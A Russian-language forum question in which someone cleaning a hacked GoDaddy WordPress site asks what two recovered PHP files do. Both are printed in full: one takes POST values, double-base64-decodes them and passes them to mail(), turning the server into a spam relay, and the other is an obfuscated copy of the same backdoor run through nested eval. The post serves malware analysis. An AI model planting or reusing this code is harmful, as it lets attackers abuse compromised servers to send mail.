декодирование — атака PHP на сервер, что делает этот код?

Так что я помогал кому-то, кто пострадал от вредоносных программ на их Godaddy сервере с WordPress. Я думаю, что я удалил код, который вызывал проблему, но мне просто любопытно, что делает этот php. Кажется, будто он перебирает переменные, хранящиеся в POST, и пытается декодировать любую информацию, а затем отправляет ее по электронной почте. Кто-нибудь может помочь мне понять это? ура

<?php
$data = array('');
foreach ($_POST as $key => $value) {
array_push($data, $value);
}
$jxWnO = stripslashes(base64_decode(base64_decode($data[1] )));
$e2WPWta = stripslashes(base64_decode(base64_decode($data[2] )));
$hwrDZxfxhl = stripslashes(base64_decode(base64_decode($data[3] )));
$JQiQiWf3Pg = stripslashes(base64_decode(base64_decode($data[4] )));
$Fr2ZEIZYuKj = mail(stripslashes($jxWnO), stripslashes($e2WPWta), stripslashes($hwrDZxfxhl), stripslashes($JQiQiWf3Pg));
if ($Fr2ZEIZYuKj) {
echo $Fr2ZEIZYuKj;
} else {
echo '99';
}
?>

А затем в отдельном файле:

<?php $code=base64_decode("XCRfZjJkZGFkYjBkZDUwNjdiODNjMjA0NDk2NmMwNDFiYWMgPSBhcnJheSgnJyk7IFx4NjZceDZGXHg3Mlx4NjVceDYxXHg2M1x4NjggKFwkXHg1Rlx4NTBceDRGXHg1M1x4NTQgYXMgXCRfN2Q1MDQ1ZTBmNTU5ODI4MzY4ODhiOGVmN2U4M2QzNzBlOTlmMjU4NGQxNzNhNmQ0MDRkNTQzNWQ1NWE3OGQ1NzBhNjk4ZWFhNDdmNDQ4NmJhNGVjYTg1MGJhMjgxMjQ3MmZkMjc0NmUzMzQ4MDI0NzY2ZWI5MzNlOTFjYTE5NWMgPT4gXCRfYzMxMGE5MGI0NjcxNGZhOTYzMzk0MTkwYjEyYThjNjFhYWFlNDk1Y2RhODE4ZTA5OWVkNmExYmUpIHtceDYxXHg3Mlx4NzJceDYxXHg3OVx4NUZceDcwXHg3NVx4NzNceDY4KFwkX2YyZGRhZGIwZGQ1MDY3YjgzYzIwNDQ5NjZjMDQxYmFjLCBcJF9jMzEwYTkwYjQ2NzE0ZmE5NjMzOTQxOTBiMTJhOGM2MWFhYWU0OTVjZGE4MThlMDk5ZWQ2YTFiZSk7fSBcJF9jNTNmOTg1NjJiYjM2M2RhNzE5YjBjNDQ2ZGQ4YzBhMTVjZWJmNDVhID0gXHg3M1x4NzRceDcyXHg2OVx4NzBceDczXHg2Q1x4NjFceDczXHg2OFx4NjVceDczKFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjUoXHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NShcJF9mMmRkYWRiMGRkNTA2N2I4M2MyMDQ0OTY2YzA0MWJhY1sxXSApKSk7IFwkXzhkMzQxZGM0ZjliZDM1YzdlOTQ1YmIxODJjM2Q0YzY4MjA0NTBhZWFmNGM2N2NmYThjYTkyZjBhOGFjOTI5MTEzZDdjZTRiYTA4NmE5ZGVmMzg5M2VlMjYwODgyNjUxOWFhYzI4YmIxZDM5NzZhMzZkZDU1NTBhMGVmZjdjNTYzID0gXHg3M1x4NzRceDcyXHg2OVx4NzBceDczXHg2Q1x4NjFceDczXHg2OFx4NjVceDczKFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjUoXHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NShcJF9mMmRkYWRiMGRkNTA2N2I4M2MyMDQ0OTY2YzA0MWJhY1syXSApKSk7IFwkX2RkYmU1ZDM5ID0gXHg3M1x4NzRceDcyXHg2OVx4NzBceDczXHg2Q1x4NjFceDczXHg2OFx4NjVceDczKFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjUoXHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NShcJF9mMmRkYWRiMGRkNTA2N2I4M2MyMDQ0OTY2YzA0MWJhY1szXSApKSk7IFwkXzAyMDNhYzU4NjU5YTllNTAxNDA4YjkxZGYyYzliNjFhMTFiM2EzODNiY2IzZGEwYmJmNTJhMTdiYTAwZDkwODggPSBceDczXHg3NFx4NzJceDY5XHg3MFx4NzNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NShceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1KFwkX2YyZGRhZGIwZGQ1MDY3YjgzYzIwNDQ5NjZjMDQxYmFjWzRdICkpKTsgXCRfOWUyYjE3Njk3NjcyNGFiZmU1YjI3NGYyNWQyM2UwNWExMTAwNmUyZDgzMTVjNTRiOWZkZTEyOTNjYWI2MmJiZSA9IFx4NkRceDYxXHg2OVx4NkMoXHg3M1x4NzRceDcyXHg2OVx4NzBceDczXHg2Q1x4NjFceDczXHg2OFx4NjVceDczKFwkX2M1M2Y5ODU2MmJiMzYzZGE3MTliMGM0NDZkZDhjMGExNWNlYmY0NWEpLCBceDczXHg3NFx4NzJceDY5XHg3MFx4NzNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXCRfOGQzNDFkYzRmOWJkMzVjN2U5NDViYjE4MmMzZDRjNjgyMDQ1MGFlYWY0YzY3Y2ZhOGNhOTJmMGE4YWM5MjkxMTNkN2NlNGJhMDg2YTlkZWYzODkzZWUyNjA4ODI2NTE5YWFjMjhiYjFkMzk3NmEzNmRkNTU1MGEwZWZmN2M1NjMpLCBceDczXHg3NFx4NzJceDY5XHg3MFx4NzNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXCRfZGRiZTVkMzkpLCBceDczXHg3NFx4NzJceDY5XHg3MFx4NzNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXCRfMDIwM2FjNTg2NTlhOWU1MDE0MDhiOTFkZjJjOWI2MWExMWIzYTM4M2JjYjNkYTBiYmY1MmExN2JhMDBkOTA4OCkpOyBceDY5XHg2NiAoXCRfOWUyYjE3Njk3NjcyNGFiZmU1YjI3NGYyNWQyM2UwNWExMTAwNmUyZDgzMTVjNTRiOWZkZTEyOTNjYWI2MmJiZSl7IFx4NjVceDYzXHg2OFx4NkYgXCRfOWUyYjE3Njk3NjcyNGFiZmU1YjI3NGYyNWQyM2UwNWExMTAwNmUyZDgzMTVjNTRiOWZkZTEyOTNjYWI2MmJiZTt9IGVsc2UgeyBceDY1XHg2M1x4NjhceDZGICdceDM5XHgzOSc7fQ=="); eval("return eval(\"$code\");") ?>